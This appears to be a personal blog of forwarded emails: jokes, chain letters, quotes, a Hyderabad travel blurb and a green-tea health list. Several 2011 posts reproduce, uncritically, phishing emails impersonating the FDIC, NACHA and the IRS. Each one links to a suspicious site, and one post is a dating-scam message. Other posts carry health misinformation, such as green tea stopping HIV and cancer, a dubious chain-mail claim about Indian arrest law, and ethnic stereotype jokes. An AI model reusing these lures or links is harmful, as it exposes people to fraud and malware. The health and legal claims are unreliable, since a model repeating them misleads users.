Fun, Quotes, Funmails, Cities...

Who are you?

2012-01-20T20:30:00.001-08:00

Hello,
My name Angelina. I am single girl with green eyes and I am open
for new acquaintances.
For me this new. And I think it interesting and exciting a way of
acquaintance. I hope that our relation, even if it would be short or long,
will give to the life of both of us a lot of positive energy and experience.
If it works and you have interest. I wait your answer.

My mail: angelinabzova@rambler.ru

I hope you understand my English and we can continue our dialogue.

Alterations in FDIC policy for transaction accounts

2011-12-20T07:14:00.000-08:00

Attn: Financial Manager

Hereby we would like to inform you about the recent alterations in the
Federal Deposit Insurance Corporation coverage rules.

From December 31, 2010, through December 31, 2012 all the money in a
"noninterest-bearing transaction account" are provided with a full insurance
coverage by the Federal Deposit Insurance Corporation. Please note, that
this is a temporary arrangement besides the Federal Deposit Insurance
Corporation's general deposit insurance regulations.

The term "noninterest-bearing transaction account" includes a usual checking
account or demand deposit account on which no interest is paid.

To learn the details of this temporary FDIC coverage for transaction
accounts, please view the link below:
http://csironworks.com/23deec/index.html

Yours truly,
Emm Wagner
Federal Deposit Insurance Corporation

Direct Deposit payment was rejected

2011-12-15T08:17:00.000-08:00

This report is related to the ACH transfer (ID: 693122028468)
that was recently sent from your account.

The current status of the above mentioned transaction is: failed
due to the technical fault. Please find the detailed information
in the report below:

http://dirtyexbitch.com/f12a1a/index.html

Yours truly,
Montague Duffy
2011 NACHA - The Electronic Payments Association
13450 Sunrise Valley Drive, Suite 100
Herndon, VA 20171

ACH failed due to technical error

2011-12-07T10:08:00.000-08:00

This report is mailed to you with regard to the ACH transaction
(ID: 463748441280) that you or any other person recently sent
from your account.

The current status of the referred transfer is: failed due to
the technical fault. Please view the detailed information in
the report below:

http://www.payplus4hisc.com/d843c6/index.html

Yours faithfully,
Rowland Barry
2011 NACHA - The Electronic Payments Association
13450 Sunrise Valley Drive, Suite 100
Herndon, VA 20171

Technical error report

2011-12-05T03:50:00.000-08:00

This report is mailed to you concerning the ACH transfer (ID:
353683682339) that you or any other person recently sent from
your account.

The current status of the referred transfer is: failed due to
the technical error. Please check the report below to see the
details:

http://stadtmaus.conceptnet.de/b7dd59/index.html

Best regards,
Ernie Costa
2011 NACHA - The Electronic Payments Association
13450 Sunrise Valley Drive, Suite 100
Herndon, VA 20171

ACH transfer failure

2011-11-28T05:51:00.000-08:00

This message applies to the ACH payment (ID: 43225752416) that
was recently sent from your banking account.

The current status of the referred transaction is: failed due
to the technical fault. Please view the report below for more
information:

http://www.whitehotproductions.com/d6d9d5/index.html

Sincerely yours,
Graham Douglas
2011 NACHA - The Electronic Payments Association
13450 Sunrise Valley Drive, Suite 100
Herndon, VA 20171

ACH system failure

2011-11-25T01:56:00.000-08:00

This message is mailed to you regarding the ACH transaction (ID:
45701655013) that was recently sent from your banking account.

The current status of the above mentioned transaction is: failed
due to the technical fault. Please find the details in the report
below:

http://truthaboutabstraining.net/0e3d5a/index.html

Best regards,
Elinor Duran
2011 NACHA - The Electronic Payments Association
13450 Sunrise Valley Drive, Suite 100
Herndon, VA 20171

Please get a new EIN

2011-11-09T02:54:00.000-08:00

To the ATTENTION of: Accounting Department

Dear Sirs,

please be informed that your company is required to obtain a
new EIN for security reasons related to the risk of fraud. We
apologize for any troubles that might be caused to you by this
measure. For detailed instructions please use the following link:
http://depistage-precoce-vih.com/2d0trw/index.html

Yours sincerely,

Miranda Mccabe
Office of Professional Responsibility
Internal Revenue Service

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2011-10-08T12:05:00.000-07:00

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2011-08-27T06:44:00.001-07:00

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2011-08-27T05:58:00.001-07:00

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2011-07-22T12:26:00.000-07:00

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2011-06-28T03:33:00.000-07:00

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2011-06-23T05:52:00.000-07:00

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2011-06-22T01:26:00.000-07:00

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2011-06-21T15:57:00.000-07:00

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2011-06-20T11:53:00.001-07:00

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2011-06-13T04:59:00.000-07:00

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2011-06-10T05:06:00.000-07:00

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2011-06-08T22:56:00.000-07:00

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2011-06-07T23:13:00.000-07:00

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2011-06-02T20:42:00.000-07:00

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2011-05-23T13:16:00.000-07:00

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2011-05-12T13:37:00.000-07:00

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2011-05-07T21:16:00.000-07:00

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2011-05-04T01:53:00.000-07:00

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2011-05-01T22:26:00.000-07:00

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2011-04-28T04:51:00.000-07:00

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2011-04-23T15:09:00.000-07:00

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2011-04-17T08:37:00.000-07:00

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What a shame ?

2009-08-20T00:16:00.000-07:00

Please see the below two Incidents

Forward this mail to every Indian, let every body know that these are our leaders......
Shameless people....... Fit for Nothing.....
Have a look at two of the leaders we have chosen to rule us.... sitting and having a leisure time when our National Anthem is being played......

To:

All Indians(Please send this to every1 in ur chain)

s forward this to few of our news channels

Hello Everyone,

These pictures I am sending you all shows the gross disrespect and insult to the Indian National flag by this so called 'spiritual leader' and self proclaimed 'GOD' Mataji Nirmala Devi. This disrespect to our country'sflag shows that she has definitely no respect or love for the country that gave her so much and her husband who was an IAS officer and chief of the SCI (he is seated next to her in the pics). Such a shame.. I do urge and plead with all Indians who deeply love their country to forward the photos to as many people as possible so that it does catch the eye of someone higher up in the Indian Govt who can really take someaction against this cult.

someone

2009-08-20T00:10:00.000-07:00

You are Everything To Somebody

Right now

someone is very proud of you

someone is thinking of you

someone cares about you

someone misses you

someone wants to talk to you

someone wants to be with you

someone hopes you aren't in trouble

someone is thankful for the support you have provided

someone wants to hold your hand someone hopes everything turns out all right

someone wants you to be happy

someone wants you to find them

someone is celebrating your successes

someone wants to give you a gift

someone thinks you ARE a gift

someone hopes you are not too cold, or too hot

someone wants to hug you

someone loves you

someone wants to lavish you with small gifts

someone admires your strength

someone is thinking of you and smiling

someone wants to be your shoulder to cry on

someone wants to go out with you and have a lot of fun

someone thinks the world of you

someone wants to protect you

someone would do anything for you

someone wants to be forgiven

someone is grateful for your forgiveness

someone wants to laugh with you about old times

someone remembers you and wishes you were there

someone needs to know that your love is unconditional

somebody values your advice

someone wants to tell you how much they care

someone wants to stay up watching old movies with you

someone wants to share their dreams with you

someone wants to hold you in their arms

someone wants YOU to hold them in your arms

someone treasures your spirit

someone wishes they could STOP time because of you

someone can't wait to see you

someone wishes that things didn't have to change

someone loves you for who you are

someone loves the way you make them feel

someone wants to be with you

someone hears a song that reminds them of you

someone wants you to know they are there for you

someone is glad that you're their friend

someone wants to be your friend

someone stayed up all night thinking about you

someone is alive because of you

someone is wishing that you would notice them

someone wants to get to know you better

someone believes that you are their soul mate

someone wants to be near you

someone

someone misses your guidance and advice

someone values your guidance and advice

someone has faith in you

someone trusts you

someone needs you to send them this letter

someone needs your support

someone needs you to have faith in them

someone needs you to let them be your friend

someone will cry when they read this

SEND THIS ON TO SOMEONE SPECIAL

Hyderabad hangout

2009-08-20T00:07:00.000-07:00

Hyderabad The City of Pearls,Lakes and Gardens..... .

**********************

Hyderabad, the fifth largest metropolis of India, is the state capital of Andhra Pradesh. The city is nearly 400 years old and is noted for its rich history and culture with monuments, mosques, temples, and a rich and varied heritage in arts, crafts and dance.

Attached to the city is its twin, Secunderbad. The Husain Sagar, an artificial lake constructed during the time of Ibrahim Quli Qutb Shah Wali in 1562 A.D, separates the twin cities of Hyderabad and Secunderbad. Covering an area of 260 km², Hyderabad has a poppulation of approximately 4 million. Urdu, Telegu and Hindi are the local languages of the indigenous population.

Hyderabad has been the meeting place of many different cultures and traditions and is known to be the city where the distinct cultural and linguistic traditions of North India and South India meet. Hyderabad also has a very good transport system. It is well connected to the outer world through its airways and railways. The public transport in Hyderabad comprises of local trains, 3-seater and 7-seater auto-rickshaws, buses and also private taxis for sightseeing.

Hyderabad is one of the most developed cities in the country and is the emerging IT and biotech hub of India. It is known as the city of pearls and lakes. The pearl market is situated near Charminar.

Ornaments made with Rice Pearls can be bought from Char Kaman or General Bazaar Market. It is famous for its traditional markets such as Laad Bazaar, Sultan Bazaar and so on. It is also a source of attraction for tourists from all parts of the world.

Hyderabad is famous for its Char Minar, Falaknuma Palace, Salar Jung Museum, Makkah Masjid, Chilkur Balaji Temple, Husain Sagar, Sanghi Temple, Snow World and Ramoji Film City.

Area : 260 sq. kms

Main Languages : Telugu, Urdu, English and Hindi

Population : 5.2 million

Location :

Hyderabad city mainly comprises the twin cities of Hyderabad and Secunderabad. The city is located in the west central part of Andhra Pradesh and is surrounded by Ranga Reddy district. The city is situated at a distance of 562 kms from Bangalore, 140 kms from Warangal and 276 kms from Vijaywada.

Climate :

Hyderabad has hot steppe type climate. Summers (April- June) are hot and dry. The maximum temperature reaches around 41ºC. Winters (November-February) in Hyderabad are pleasant and less chilly than north Indian regions. Winter days are warm and sunny, while nights are relatively colder. Night temperature during winters rarely drops below 10ºC. South-west monsoon comes to the city in June and remains till September.

Best Time to Visit : The best time to visit the city is from October to March.

Value Relationships!!!!!!After all LOVE really mattevrs!!!

2009-08-19T23:43:00.000-07:00

A small touching story mainly for professionals. ..
>
>
>
>
>A man came home from work late, tired and irritated, to find his
>5-year old son waiting for him at the door.
>
>
>
>SON: "Daddy, may I ask you a question?"
>
>
>DAD: "Yeah sure, what is it?" replied the man.
>
>
>SON: "Daddy, how much do you make an hour?"
>
>
>DAD: "That's none of your business. Why do you ask such a thing?"
>the man said angrily.
>
>
>SON: "I just want to know. Please tell me, how much do you make an
>hour?"
>
>
>DAD: "If you must know, I make Rs.100 an hour."
>
>
>SON: "Oh," the little boy replied, with his head down.
>
>
>SON: "Daddy, may I please borrow Rs.50?"
>
>
>The father was furious, "If the only reason you asked that is so you
>can borrow some money to buy a silly toy or some other nonsense, then
>you march yourself straight to your room and go to bed. Think about
>why you are being so selfish. I work hard everyday for such this
>childish behavior."
>
>
>The little boy quietly went to his room and shut the door.
>
>
>The man sat down and started to get even angrier about the little
>boy's questions. How dare he ask such questions only to get some
>money?
>
>
>After about an hour or so, the man had calmed down and started to
>think: Maybe there was something he really needed to buy with that
>Rs.50 and he really didn't ask for money very often. The man went to
>the door of the little boy's room and opened the door.
>"Are you asleep, son?" He asked.
>
>
>"No daddy, I'm awake," replied the boy.
>
>
>"I've been thinking, maybe I was too hard on you earlier" said the
>man.
>
>
>"It's been a long day and I took out my aggravation on you. Here's the
>Rs.50 you asked for."
>
>
>The little boy sat straight up, smiling. "Oh, thank you daddy!" He
>yelled.
>
>
>Then, reaching under his pillow he pulled out some crumpled up bills.
>The man saw that the boy already had money, started to get angry
>again. The little boy slowly counted out his money, and then looked up
>at his father.
>
>
>"Why do you want more money if you already have some?" the father
>grumbled.
>
>
>"Because I didn't have enough, but now I do," the little boy replied.
>
>
>"Daddy, I have Rs. 100 now. Can I buy an hour of your time?
>
>Please come home early tomorrow I would like to have dinner with you"
>
>
>The father was crushed. He put his arms around his little son, and he
>begged for his forgiveness.
>
>
>It's just a short reminder to all of you working so hard in life. We
>should not let time slip through our fingers without having spent some
>time with those who really matter to us, those close to our hearts.
>
>
>Do remember to share that Rs.100 worth of your time with someone you
>love.
>
>
>
>
>
>If we die tomorrow, the company that we are working for could easily
>replace us in a matter of days.
>
>
>But the family & friends we leave behind will feel the loss for the
>rest of their lives. And come to think of it, we pour ourselves more
>into work than to our family.
>
>Value Relationships! !!!!!
>
>
>
>
>
>After all LOVE really matters!!!

The Woman in your Life...!!!

2009-08-19T23:39:00.000-07:00

Hi Friends,

REALLY GOOD MAIL…WELL WRITTEN…DO READ WHENEVER U HV TIME!

Here is a girl, who is as much educated as you are;

Who is earning almost as much as you do;

One, who has dreams and aspirations just as you have because she is as human as you are;

One, who has never entered the kitchen in her life just like you or your Sister haven't, as she was busy in studies and competing in a system that gives no special concession to girls for their culinary achievements

One, who has lived and loved her parents & brothers & sisters, almost as much as you do for 20-25 years of her life;

One, who has bravely agreed to leave behind all that, her home, people who love her, to adopt your home, your family, your ways and even your family name

One, who is somehow expected to be a master-chef from day #1, while you sleep oblivious to her predicament in her new circumstances, environment and that kitchen

One, who is expected to make the tea, first thing in the morning and cook food at the end of the day, even if she is as tired as you are, maybe more, and yet never ever expected to complain; to be a servant, a cook, a mother, a wife, even if she doesn't want to; and is learning just like you are as to what you want from her; and is clumsy and sloppy at times and knows that you won't like it if she is too demanding, or if she learns faster than you;

One, who has her own set of friends, and that includes boys and even men at her workplace too, those, who she knows from school days and yet is willing to put all that on the back-burners to avoid your irrational jealousy, unnecessary competition and your inherent insecurities;

Yes, she can drink and dance just as well as you can, but won't, simply because you won't like it, even though you say otherwise

One, who can be late from work once in a while when deadlines, just like yours, are to be met;

One, who is doing her level best and wants to make this most important relationship in her entire life a grand success, if you just help her some and trust her;

One, who just wants one thing from you, as you are the only one she knows in your entire house - your unstinted support, your sensitivities and most importantly - your understanding, or love, if you may call it.

But not many guys understand this...

Well... Give it a thought now!!

Inspiring Quotes

2009-08-19T23:38:00.000-07:00

Some of the Inspiring Quotes which tell not to give up in life so you can learn something from these Quotes

1) Never expect things to happen..

struggle and make them happen.

never expect yourself to be given a good valuecreate a value of your own

2) If a drop of water falls in lake there is no identity.But if it falls on a leaf of lotus it shine like a pearl.so choose the best place where you would shine..

3) Falling down is not defeat...defeat is when your refuse to get up...

4) Ship is always safe at shore... but is is not built for it

5) When your successful your well wishers know who you are when you are unsuccessful you know who your well wishers are

6) It is great confidence in a friend to tell him your faults; greater to tell him/her

7) "To the world you might be one person,

but to one person you just might be the world

8) "Even the word 'IMPOSSIBLE' says 'I M POSSIBLE' "

9) Effort is important, but knowing where to make an effort in your life makes all the difference

Woman Arrest Law:(Very Very Imp do not neglect it)

2009-06-05T03:23:00.000-07:00

Woman Arrest Law:

An incident took place in Pune - a young girl was attacked by a man posing as a plain clothes officer; he asked her 2 come 2 the police station when she & her male friend didn't have a driver's license 2 show. He sent the boy off 2 get his license and asked the girl to accompany him to the police station. Took her instead to an isolated area where the horrendous crime was committed.

The law [which most of us are not aware of] clearly states that between 6 pm and 6 am, a woman has the right to REFUSE to go to the Police Station, even if an arrest warrant has been issued against her. It is a procedural issue that a woman can be arrested between 6am and 6pm, ONLY if she is arrested by a woman officer & taken to an ALL WOMEN police station. And if she is arrested by a male officer, it has to be proven that a woman officer was on duty at the time of arrest.

Please fwd this 2 as many friends coz this can help them protect their wife, sisters and mother. It is good for us to know our rights.

Do not neglect, fwd to your entire buddy list.

``` really cOol gOogle trick ```

2009-06-01T22:19:00.000-07:00

1. Go to Google

2. Click "images"

3. Fill in "bikes, flowers, cars" or any other word.

4. You will get a page with a lot of images thumb nailed.

5. Now delete the URL on the address bar

6. Copy the script down here, and paste it in your address bar !

javascript:R= 0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI= document.images ; DIL=DI.length; function A(){for(i=0; i<DIL; i++){DIS=DI[ i ].style; DIS.position= 'absolute' ; DIS.left=Math. sin(R*x1+ i*x2+x3)* x4+x5; DIS.top=Math. cos(R*y1+ i*y2+y3)* y4+y5}R++ }setInterval( 'A()',5); void(0)

World's Shortest Joke

2009-06-01T22:12:00.000-07:00

U r working ...

Men Are Hard to Please ........ Very true ;)

2009-05-27T21:51:00.000-07:00

Men Are Hard To Please

The problems with GUYS:

If u TREAT him nicely, he says u are IN LOVE with him; If u Don't, he says u are PROUD.

If u DRESS Nicely , he says u are trying to LURE him;

If u Don't , he says u are from VILLAGE .

If u ARGUE with him, he says u are STUBBORN ;

If u keep QUIET , he says u have no BRAINS .

If u are SMARTER than him, he'll lose FACE ;

If he's Smarter than u, he is GREAT .

If u don't L ove him, he tries to POSSESS u;

If u Love him! , he will try to LEAVE u.(very true huh?)

If u tell him your PROBLEM , he says u are TROUBLESOME ; If u don't , he says that u don't TRUST him.

If u SCOLD him, u are like a NANNY to him;

If he SCOLDS u, it is because he CARES for u.

If u BREAK your PROMISE, u Cannot be TRUSTED ;

If he BREAKS his, he is FORCED to do so.

If u SMOKE , u are BAD girl;

If he S MOKES , he is GENTLEMAN .

If u do WELL in your exams, he says it's LUCK ;

If he does WELL , it's BRAINS .

If u HURT him, u are CRUEL ;

If he HURTS u, u are too SENSITIVE !!

& sooo hard to please !!!!!

If u send this to guys, they will swear that it's not true.......

but if u don't, they say u are selfish.....

The moral of the story is.......

SEND THIS TO GUYS OUT THERE ANYWAY ...

Send it to girls also, gives them some laughter .

Jokes ! MINDBLOWING

2009-05-27T03:02:00.000-07:00

***********************************************

Prince Charles & Sardarji were having dinner.

Prince said, "Pass the wine you divine".

Sardar thinks "how poetic"

Sardar says, "pass the custard you bastard".

***********************************************

Sardar at bar in New York .

Man on his right says "Johny Walker single"

Man on his left says "Peter Scotch single"

Sardar says - "Baljith Singh Married"

***********************************************

Boss : am giving u job as a driver. STARTING salary Rs.2000/-, is it

o.k

Sardar : U R great sir! Starting salary is o.k.......but??

how much is DRIVING salary...?

***********************************************

Sardar's theory : Moon is more impt than Sun, coz it gives light at

night when light is needed & Sun gives light during the day when light

is not needed!!!

***********************************************

2 sardars are driving a Car, one puts on the indicator and asks the

other to check whether its working, he puts his head out and says

YES...NO...YES...NO...YES...NO...

***********************************************

Sardar shouting 2 his girl friend " u said v will do register marriage

and cheated me, I was waiting 4 u yesterday whole day in the post

office....

***********************************************

A Tamilian call up sardar and asks " tamil therima??"

Sardar got mad, angrily replied.... "Hindi tera baap!!!"

***********************************************

2 sardarjis looking at Egyptian mummy.

Sar 1 : Look so many bandages, pakka lorry accident case.

Sar 2 : Aaho, lorry number is also written...BC 1760!!!....

***********************************************

A sardar on an interview 4 da post detective.

Interviewer : who killed Gandhi?

Sardar : Thank u sir 4 giving me d job, I will start

investigating.......

***********************************************

A sardar for an exam had studied only one essay 'FRIEND', but in the

exam the essay which came was 'FATHER' . he replaced friend with

father

in the essay and>it read: AM A VERY FATHERLY PERSON, I HAVE LOTS OF

FATHERS,

SOME OF MY FATHERS ARE MALE AND SOME ARE FEMALE. MY TRUE

FATHER IS MY NEIGHBOUR.

***********************************************

Interviewar: what s ur qualification?

Sardarji : Sir I am Ph.d.

Interviewar : what do u mean by Ph.d?

Sardarji : (smiling) PASSED HIGHSCHOOL with DIFFICULTY....

***********************************************

Amitab : In which state Cauvery flows?

Sardar : liquid state.....

Audience clapped.. Amitab stunned, looks behind, ALL WERE SARDARS

Never be a Developer--- TOO GOOD :-)

2009-05-24T21:48:00.000-07:00

Introduction:

Roshan D'Mello (QA Tester)

Developer (Mukesh Thakur)

--------------------------------------------------------------------------------------------------------

Roshan D'Mello: Hey Mukesh, there is a bug in your code. Type a text in

username text box and press enter. Beep sound doesn't appear.

Mukesh Thakur: How can that be a bug? There is no requirement that beep

sound should come. Anyway, I will assign it to offshore and get it

fixed.

After 2 days,

Mukesh Thakur: Roshan, bug is fixed. Please verify.

After another 2 days,

Roshan D'Mello: I have re-opened the bug because sound is not coming in

some PCs. Sound is coming in my machine, but my colleague Rajat Choudhry

is not getting the sound.

After another 2 days,

Mukesh Thakur: Not a bug. I observed that your friend Rajat Choudhry has

Old IBM machine. Unlike your DELL machine, IBM machines do not have inbuilt

speakers. So, to hear the sound in Rajat Choudhry's machine, please use

head phones and then get the bug closed soon.

Another 2 days,

Roshan D'Mello: I have re-opened the bug because sound tone is

Different across different machines. Sound is coming as 'BEEP' in my machine, but

My colleague Rajat Choudhry who is having IBM machine is getting the sound

as 'TONG'.

Mukesh Thakur: Not a bug. Get lost man. What can we do for the bug? The

Two machines are built in such a way that they produce different sounds. Do

You expect the developers to rebuild the IBM processors to make them

uniform?

Please close it.

Another 2 days,

Roshan D'Mello: I have re-opened the bug because intensity of beep

Sound produced on 2 different DELL machines is different. My machine produces

Beep sound of intensity 10 decibels whereas my friend's machine produces

Sound worth 20 decibels. Fix your code to make the sound uniform across all

machines..

Another 2 days later,

Mukesh Thakur: Once again it is not a bug. I have noticed that the

Volume set is different on the two machines. Ensure that volume is same in both

The machines before I get mad and then close the bug.

Another 2 days,

Roshan D'Mello: I have re-opened the bug.

Mukesh Thakur: What ?? Why? What more stupid reasons can be there for

re-opening?

Roshan D'Mello: Sound intensity is different for machines placed at

different locations (different buildings). So, I have re-opened it.

After 2 days,

Mukesh Thakur: I have made some scientists do an acoustical analysis of

the

two buildings you used for testing. They have observed that the

acoustics in the two buildings varies to a large extent. That is why sound intensity

is different across the 2 buildings. So, I beg you to please close the

bugs.

After 1 year

Roshan D'Mello: I am re-opeing the bug. During the year, I requested

The clients to arrange architects to build two buildings with same

Acoustical features, so that I can test it again. Now, when I tested, I found that

intensity of sound still varying. So, I am re-opening the defect.

Mukesh Thakur: GROWLLLL.....I am really mad now. I am sure that the

Sound waves of the two buildings are getting distorted due to some background

noice or something. Now I need to waste time to prove that it is because

of background noice.

Roshan D'Mello: No need for that. We will put the machines and run

them in vacuum and see.

Mukesh Thakur: ??

Result-----------------------

He is now in mental asylum while Roshan D’Mello has become QA Manager.

A Mail from a frustrated victim of chain mails:

2009-05-21T23:33:00.000-07:00

I wanted to thank all my friends and family who have forwarded chain letters to me in 2003 & 2004 & 2005

Because of your kindness:

* I stopped drinking Coca Cola after I found out that it's good for removing toilet stains.

* I stopped going to the movies for fear of sitting on a needle infected with AIDS.

* I smell like a wet dog since I stopped using deodorants because they cause cancer.

* I don't leave my car in the parking lot or any other place and sometimes. I even have to walk about
7 blocks for fear that someone will drug me with a perfume sample and try to rob me.

* I also stopped answering the phone for fear that they may ask me to dial a stupid number and then I
get a phone bill from with calls to Uganda , Singapore and Tokyo .

* I also stopped drinking anything out of a can for fear that I will get sick from the rat feces and urine.

* When I go to parties, I don't look at any girl, no matter how hot she is, for fear that she will take me to a hotel,
drug me then take my kidneys and leave me taking a nap in a bathtub full of ice.

* I also donated all my savings to the Amy Bruce account. A sick girl that was about to die in the
hospital about 7,000 times. (Poor girl! she's been 7 since 1993...)

! * I went bankrupt from bounced checks that I made expecting the $15,000 that Microsoft and AOL were supposed to send me when I participated in their special e-mail program would arrive soon.

* My free Nokia phone never arrived and neither did the free passes for a paid vacation to Disneyland .

* Still open to help some from Bulgaria who wants to use my account to transfer his uncle property of some hundred millions$.

* Made some Hundred wishes before forwarding those Ganesh , Tirupathi Balaji pics etc� now most
of those 'Wishes' are already married (to someone else)

IMPORTANT NOTE:
If you do not send this e-mail to at least 11,246 people in the next 10 seconds, a bird will SH** on your head today at
6:30pm

Girls profiles taken from shaadi . com

2009-05-21T23:28:00.000-07:00

25 Reasons - Why You Should Start Drinking Green TEA...

2009-05-20T09:39:00.001-07:00

Reasons Why You Should Start Drinking Green Tea Now

Green tea has increasingly become a very popular drink worldwide because of its immensely powerful health benefits.
It is extraordinarily amazing what green tea can do for your health.
And if you're not drinking 3 to 4 cups of green tea today, you're definitely NOT doing your health a big favor.
Here Are The 25 Reasons Why You Should Start Drinking Green Tea Right Now:

1. Green Tea and Cancer

Green tea helps reduce the risk of cancer.
The antioxidant in green tea is 100 times more effective than vitamin C and 25 times better than vitamin E.
This helps your body at protecting cells from damage believed to be linked to cancer.

2. Green Tea and Heart Disease

Green tea helps prevent heart disease and stroke by lowering the level of cholesterol.
Even after the heart attack, it prevents cell deaths and speeds up the recovery of heart cells.

3. Green Tea and Anti-Aging

Green tea contains antioxidant known as polyphenols which fight against free radicals.
What this means it helps you fight against aging and promotes longevity.

4. Green Tea and Weight Loss

Green tea helps with your body weight loss. Green tea burns fat and boosts your metabolism rate naturally.
It can help you burn up to 70 calories in just one day.
That translates to 7 pounds in one year.

5. Green Tea and Skin

Antioxidant in green tea protects the skin from the harmful effects of free radicals, which cause wrinkling and skin aging.
Green tea also helps fight against skin cancer.

6. Green Tea and Arthritis

Green tea can help prevent and reduce the risk of rheumatoid arthritis.
Green tea has benefit for your health as it protects the cartilage by blocking the enzyme that destroys cartilage.

7. Green Tea and Bones

The very key to this is high fluoride content found in green tea.
It helps keep your bones strong.
If you drink green tea every day, this will help you preserve your bone density.

8. Green Tea and Cholesterol

Green tea can help lower cholesterol level.
It also improves the ratio of good cholesterol to bad cholesterol, by reducing bad cholesterol level.

9. Green Tea and Obesity

Green tea prevents obesity by stopping the movement of glucose in fat cells.
If you are on a healthy diet, exercise regularly and drink green tea, it is unlikely you'll be obese.

10. Green Tea and Diabetes

Green tea improves lipid and glucose metabolisms, prevents sharp increases in blood sugar level, and balances your metabolism rate.

11. Green Tea and Alzheimer's

Green tea helps boost your memory.
And although there's no cure for Alzheimer's, it helps slow the process of reduced acetylcholine in the brain, which leads to Alzheimer's.

12. Green Tea and Parkinson's

Antioxidants in green tea helps prevent against cell damage in the brain, which could cause Parkinson's. People drinking green tea also are less likely to progress with Parkinson's.

13. Green Tea and Liver Disease

Green tea helps prevent transplant failure in people with liver failure. Researches showed that green tea destroys harmful free radicals in fatty livers.

14. Green Tea and High Blood Pressure

Green tea helps prevent high blood pressure.
Drinking green tea helps keep your blood pressure down by repressing angiotensin, which leads to high blood pressure.

15. Green Tea and Food Poisoning

Catechin found in green tea can kill bacteria which causes food poisoning and kills the toxins produced by those bacteria.

16. Green Tea and Blood Sugar

Blood sugar tends to increase with age, but polyphenols and polysaccharides in green tea help lower your blood sugar level.

17. Green Tea and Immunity

Polyphenols and flavenoids found in green tea help boost your immune system, making your health stronger in fighting against infections.

18. Green Tea and Cold and Flu

Green tea prevents you from getting a cold or flu.
Vitamin C in green tea helps you treat the flu and the common cold.

19. Green Tea and Asthma

Theophylline in green tea relaxes the muscles which support the bronchial tubes, reducing the severity of asthma.

20. Green Tea and Ear Infection

Green tea helps with ear infection problem.
For natural ear cleaning, soak a cotton ball in green tea and clean the infected ear.

21. Green Tea and Herpes

Green tea increases the effectiveness of topical interferon treatment of herpes.
First green tea compress is applied, and then let the skin dry before the interferon treatment.

22. Green Tea and Tooth Decay

Green tea destroys bacteria and viruses that cause many dental diseases.
It also slows the growth of bacteria which leads to bad breath.

23. Green Tea and Stress

L-theanine, which is a kind of amino acids in green tea, can help relieve stress and anxiety.

24. Green Tea and Allergies

EGCG found in green tea relieves allergies.
So, if you have allergies, you should really consider drinking green tea.

25. Green Tea and HIV

Scientists in Japan have found that EGCG (Epigallocatechin Gallate) in green tea can stop HIV from binding to healthy immune cells.
What this means is that green tea can help stop the HIV virus from spreading.

How to Make Green Tea

Green tea is a wonderful beverage with potential health benefits. But if you're not familiar with a few basic techniques,

you can wind up with a tea that's grassy, bitter, or just too strong. Here's how to get a perfect cup of green tea both Chinese and simple green tea.

.

__,_._,___

Alligator versus pearl

2009-05-18T08:14:00.000-07:00

Woman tourist in Florida was admiring an Indian's necklace.

"What are those things?" she asked.

Alligator teeth ma'am," replied the Indian.

"Oh I see. I suppose they have the same value for your people that
pearls have for us."

"Not quite," he answered gravely. "Anybody can open an oyster."

good, bad, ugly

2009-05-18T08:13:00.001-07:00

Good: Your wife is pregnant.
Bad: It's triplets.
Ugly: You had a vasectomy five years ago.

Good: Your wife's not talking to you.
Bad: She wants a divorce.
Ugly: She's a lawyer.

Good: Your son is finally maturing.
Bad: He's involved with the Woman next door.
Ugly: So are you.

Good: Your son studies a lot in his room.
Bad: You find several porn movies hidden there.
Ugly: You're in them.

Good: Your hubby and you agree, no more kids.
Bad: You can't find your birth control pills.
Ugly: Your 13 year old daughter borrowed them.

Good: Your husband understands fashion.
Bad: He's a cross-dresser.
Ugly: He looks better than you.

Good: You give the "birds and bees" talk to your daughter.
Bad: She keeps interrupting.
Ugly: With corrections.

Good: Your son is dating someone new.
Bad: It's another man.
Ugly: He's your best friend.

Good: Your daughter got a new job
Bad: As a hooker .
Ugly: Your coworkers are her best clients.
Way Ugly: She makes more money than you do

Hearing Loss

2009-05-18T08:12:00.001-07:00

A concerned husband went to a doctor to talk about his wife. He says to the doctor, "Doctor, I think my wife is deaf because she never hears me the first time and always asks me to repeat things."

"Well," the doctor replied, "go home and tonight stand about fifteen feet from her and say something to her. If she doesn't reply, move about five feet closer and say it again. Keep doing this so that we'll get an idea about the severity of her deafness."

Sure enough, the husband goes home and does exactly as instructed. He starts off about fifteen feet from his wife in the kitchen, as she is chopping some vegetables and says, "Honey, what's for dinner?" He hears no response.

He moves about five feet closer and asks again. No reply. He moves five feet closer. Still no reply.

He gets fed up and moves right behind her, about an inch away, and asks again, "Honey, what's for dinner?" She replies, "For the fourth time, vegetable stew!"

One Sunday morning

2009-05-18T08:05:00.001-07:00

A mother went in to wake her son and tell him it was time to get ready
for church, to which he replied, "I'm not going."
"Why not?" she asked.

"I'll give you two good reasons," he said.
"(1), they don't like me, and
(2), I don't like them."

His mother replied, "I'll give YOU two good reasons why YOU SHOULD go to church.
"(1) You're 59 years old, and
(2) You're the pastor!"

Idiots go to Heaven

2009-05-18T08:01:00.001-07:00

Three men a philosopher, a mathematician and an idiot, were
out riding in the car when it crashed into a tree. Before anyone
knows it, the three men found themselves standing before
the pearly gates of Heaven, where St. Peter and the
Devil were standing nearby.

"Gentlemen," the Devil started, "Due to the fact that Heaven
is now overcrowded, therefore St. Peter has agreed to limit
the number of people entering Heaven. If anyone of you can
ask me a question which I don't know or cannot answer,
then you're worthy enough to go to Heaven; if not, then
you'll come with me to Hell."

The philosopher then stepped up, "OK, give me the most
comprehensive report on Socrates' teachings," With a
snap of his finger, a stack of paper appeared next to
the Devil. The philosopher read it and concluded it was
correct. "Then, go to Hell!" With another snap of his
finger, the philosopher disappeared.

The mathematician then asked, "Give me the most complicated
formula you can ever think of!" With a snap of his finger,
another stack of paper appeared next to the Devil.
The mathematician read it and reluctantly agreed it was
correct. "Then, go to Hell!" With another snap of
his finger, the mathematician disappeared, too.

The idiot then stepped forward and said, "Bring me a chair!"
The Devil brought forward a chair. "Drill 7 holes on the seat."
The Devil did just that. The idiot then sat on the chair and let
out a very loud fart. Standing up, he asked,
"Which hole did my fart come out from?"

The Devil inspected the seat and said, "The third hole from the right."

"Wrong," said the idiot, "it's from my a** hole." and the
idiot went to Heaven.

Top 7 reasons why I joined IT ...

2009-05-15T04:40:00.000-07:00

1) I hated sleep.

************ *

2) I had enjoyed my life enough.

************ *

3) I couldn't live without tension.

************ *

